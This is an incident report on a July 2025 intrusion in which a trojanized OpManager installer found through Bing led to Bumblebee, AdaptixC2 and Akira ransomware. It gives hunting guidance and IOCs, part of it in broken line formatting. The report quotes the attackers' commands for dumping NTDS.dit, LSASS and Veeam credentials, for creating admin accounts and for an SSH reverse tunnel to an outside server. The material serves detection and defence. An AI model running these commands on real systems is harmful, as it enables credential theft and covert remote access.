From Bing Search to Ransomware: Bumblebee and AdaptixC2 Deliver Akira

Bumblebee malware has been an initial access tool used by threat actors since late 2021. In 2023 the malware was first reported as using SEO poisoning as a delivery mechanism. Recently in May of 2025 Cyjax reported on a campaign using this method again, impersonating various IT tools. We observed a similar campaign in July in which a download of an IT management tool ended with Akira ransomware. In July 2025, we observed a threat actor compromise an organization through this SEO poisoning campaign. A user searching for ManageEngine OpManager was directed to a malicious website, which delivered a trojanized software installer. This action led to the deployment of the Bumblebee malware, granting the threat actor initial access to the environment. The intrusion quickly escalated from a single infected host to a full-scale network compromise. Following initial access, the threat actor moved laterally to a domain controller, dumped credentials, installed persistent remote access tools, and exfiltrated data using an SFTP client. The intrusion culminated in the deployment of Akira ransomware across the root domain. The threat actor returned two days later to repeat the process, encrypting systems within a child domain and causing significant operational disruption across the enterprise. This campaign affected multiple organizations during July as we received confirmation of a similar intrusion responded to by the Swisscom B2B CSIRT in which a malicious IT tool dropped Bumblebee and also ended with Akira ransomware deployment. Our customers received notice of this campaign in early July followed by a private threat brief report . If you are interested in the full report or additional IOCs please contact us. Private Threat Briefs : 20+ private DFIR reports annually. Threat Feed : Focuses on tracking Command and Control frameworks like Cobalt Strike, Metasploit, Sliver, etc. All Intel : Includes everything from Private Threat Briefs and Threat Feed, plus private events, Threat Actor Insights reports, long-term tracking, data clustering, and other curated intel. Private Sigma Ruleset : Features 170+ Sigma rules derived from 50+ cases, mapped to ATT&CK with test examples. DFIR Labs : Offers cloud-based, hands-on learning experiences, using real data, from real intrusions. Interactive labs are available with different difficulty levels and can be accessed on-demand, accommodating various learning speeds. Contact us today for pricing or a demo! This intrusion began when a user, searching for ManageEngine OpManager on Bing, was directed to the malicious site opmanager[.]pro. The user downloaded a trojanized MSI installer, ManageEngine-OpManager.msi, which, upon execution, installed the legitimate software while simultaneously loading the Bumblebee malware msimg32.dll via consent .exe. The Bumblebee malware established command and control (C2) with 109.205.195 [.]211:443 and 188.40.187 [.]145:443 using DGA domains. By targeting IT management tools and software in both our intrusion and the one observed by Swisscom B2B CSIRT , the users executing the malware were highly privileged IT administrator accounts within Active Directory. This provided easy privileged access to the threat actors for their next actions. Approximately five hours after this initial execution, Bumblebee deployed an AdaptixC2 beacon (AdgNsy .exe), which established a new C2 channel to 172.96.137 [.]160:443. The threat actor then initiated internal reconnaissance using built-in Windows utilities, including systeminfo, nltest/dclist:, whoami /groups, and net group domain admins /dom. Following this, the threat actor then created two new domain accounts, backup_DA and backup_EA, and added the latter to the Enterprise Administrators group. Using the privileged backup_EA account, the threat actor connected to a domain controller via RDP and dumped the NTDS.dit file using wbadmin.exe. wbadmin.exe start backup -backuptarget:\\127.0.0.1\C$\ProgramData\ -include": C:\windows\NTDS\ntds.dit, C:\windows\system32\config\SYSTEM, C:\windows\system32\config\SECURITY" -quiet For persistence and re-entry, the threat actor installed the RustDesk remote access tool on several hosts. In a subsequent session, the threat actor established a SSH tunnel to an external server at 193.242.184[.]150 to proxy their activity. ssh [email protected] -R *:10400 -p22 They continued discovery by deploying a renamed SoftPerfect network scanner (n.exe). Following this, they targeted a backup server, and attempted to dump credentials from the Veeam PostgreSQL database. psql.exe -U postgres --csv -d VeeamBackup -w -c "SELECT user_name,password,description,change_time_utc FROM credentials" Around the same time, the threat actor installed FileZilla on a file server and exfiltrated data via SFTP to 185.174.100[.]203. They performed LSASS memory dumping on multiple workstations using rundll32.exe with comsvcs.dll using a combination of remote services and WMI. The threat actor then deployed the Akira ransomware payload, locker.exe, and executed it with various command-line options to encrypt local, remote network shares, and other directories on remote hosts. Two days after this first ransomware deployment, the threat actor returned via RustDesk, connected to a child domain controller, and performed another round of discovery using Invoke-ShareFinder and DNS zone export commands, before deploying Akira ransomware to the child domain. Time to the first round of ransomware (TTR) was just shy of 44 hours after initial access. Swisscom B2B CSIRT reported an even faster TTR of just nine hours from initial access. During our investigation of the OpManager site, we identified two additional websites that appear to be distributing trojanized installers for Axis Camera tools and Angry IP Scanner. Refer to the IOC section for further details.

Hunt for MSI installations from user directories followed by suspicious child processes : Monitor msiexec.exe executing from user Desktop/Downloads (C:\ Users*\Desktop*.msi, C:\ ProgramData *.msi) and spawning unexpected children like consent .exe or unusual image load events for msimg32.dll. Review unusual MSI packages with suspicious names : Look for MSI files with generic names like ManageEngine-OpManager.msi or rustdesk-*.msi downloaded to user directories. Is this software generally allowed in you environment? Is this a commonly used remote access tool for your users? Does the software being installed make sense for the users job role?

Hunt for

LSASS
memory dumping via
comsvcs.dll
with
tasklist
enumeration :
cmd.exe
/Q /c for /f "tokens=1,2 delims= " %%A in ('"
tasklist
/fi "Imagename eq
lsass.exe
"
| find "
lsass
""') do
rundll32.exe
C:\
windows\
System32
\
comsvcs.dll
, #+000024 %%B \Windows\
Temp*.* full Detect
LSASS
dumps with unusual file extensions :
Monitor
rundll32.exe
comsvcs.dll
#+000024 writing to \Windows\
Temp\ with non-standard extensions like .sys, .docx, .avhdx
Monitor PostgreSQL credential extraction from Veeam databases : psql
.exe -U postgres
--csv -d VeeamBackup -w -c "SELECT
user_name,password,description,change_time_utc FROM credentials"
Monitor
wbadmin
abuse for
NTDS
.dit/Hive dumping :

wbadmin
start backup -backuptarget:\\
127.0.0.1
\C$\
ProgramData
\ -include:"
C:\
windows\
NTDS
\
ntds
.dit,
C:\
windows\
system32
\config\SYSTEM,
C:\
windows\
system32
\config\SECURITY" -quiet

Hunt for rapid domain enumeration sequences within short time-frames (< 5 minutes):

cmd.exe
systeminfo.exe
nltest.exe
/
dclist
:
nltest.exe
/domain_trusts
whoami
.exe /groups net
.exe group "domain admins" /dom net
.exe group "enterprise admins" /dom

Monitor for DNS zone exports targeting multiple domains : Look for
Export
-DnsServerZone commands targeting _msdcs.*, and TrustAnchors within the same session Detect domain user creation followed by immediate

privilege escalation via net utility commands : net user backup_EA P@ssw0rd1234 /add /dom net group "enterprise admins" backup_EA /add /dom

Hunt for backup account creation with predictable naming patterns :

Monitor net user backup_* or backup_EA/backup_DA account creation followed by admin group additions

Monitor for

SSH

reverse tunneling to external IPs :

ssh

root@ -R *:10400 -p22

Hunt for Bumblebee DGA patterns : Look for multiple DNS queries to domains matching pattern [8-14 random chars].org (e.g., ev2sirbd269o5j[.]org, ijt0l3i8brit6q[.]org) within seconds of each other.

Hunt for RDP logons using newly created accounts :

Monitor Type 10 logons from

compromised internal systems using accounts like backup_EA Detect suspicious inter-system authentication patterns : Look for authentication from

initial access systems to domain controllers within hours of account creation

Hunt for FileZilla installation on servers followed by large outbound transfers : Detect FileZilla_*_setup

.exe execution on server systems, especially when followed by significant network traffic Look for data staging in

ProgramData

:

Monitor file writes to

C:\

ProgramData

\shares.txt,

C:\

ProgramData

*.txt containing

reconnaissance output Detect case variation in command execution :

Hunt for mixed-case command invocations like

Cmd.eXE

,

CmD.Exe

which may indicate evasion attempts Multi-stage attack progression : Alert when a single system exhibits: MSI installation discovery commands credential access lateral movement within 24 hours Cross-system activity correlation : Hunt for accounts created on one system and immediately used for authentication on another (<= 5mins) Tool deployment patterns : Monitor for remote access tool installation (RustDesk) followed by SSH tunneling activity from the same network segment Domains: ev2sirbd269o5j.org (Bumblebee DGA domain) 2rxyt9urhq0bgj.org (Bumblebee DGA domain) DFIR Report: opmanager[.]pro (Malicious site for trojanized installer) angryipscanner.org (Malicious site for trojanized installer) axiscamerastation.org (Malicious site for trojanized installer) Swisscom B2B CSIRT: ip-scanner[.]org (Malicious site for trojanized installer) IP Addresses: 109.205.195[.]211 (Bumblebee C2) 188.40.187[.]145 (Bumblebee C2) DFIR Report: 172.96.137[.]160 (AdaptixC2 C2) Swisscom B2B CSIRT: 170.130.55[.]223 (AdaptixC2 C2) DFIR Report: 193.242.184[.]150 (SSH Tunnel Host) Swisscom B2B CSIRT: 83.229.17[.]60 (SSH Tunnel Host) 185.174.100[.]203 (SFTP Exfiltration Server) File Hashes: DFIR Report: ManageEngine-OpManager.msi 186b26df63df3b7334043b47659cba4185c948629d857d47452cc1936f0aa5da (Malicious installer) Swisscom B2B CSIRT: Advanced-IP-Scanner.msi a14506c6fb92a5af88a6a44d273edafe10d69ee3d85c8b2a7ac458a22edf68d2 (Malicious installer) DFIR Report: msimg32.dll a6df0b49a5ef9ffd6513bfe061fb60f6d2941a440038e2de8a7aeb1914945331

(Bumblebee) Swisscom B2B CSIRT: msimg32.dll
6ba5d96e52734cbb9246bcc3decf127f780d48fa11587a1a44880c1f04404d23
(Bumblebee) DFIR Report: locker
.exe de730d969854c3697fd0e0803826b4222f3a14efe47e4c60ed749fff6edce19d
(Akira
ransomware) Swisscom B2B CSIRT: win
.exe 18b8e6762afd29a09becae283083c74a19fc09db1f2c3412c42f1b0178bc122a
(Akira
ransomware) #TB36726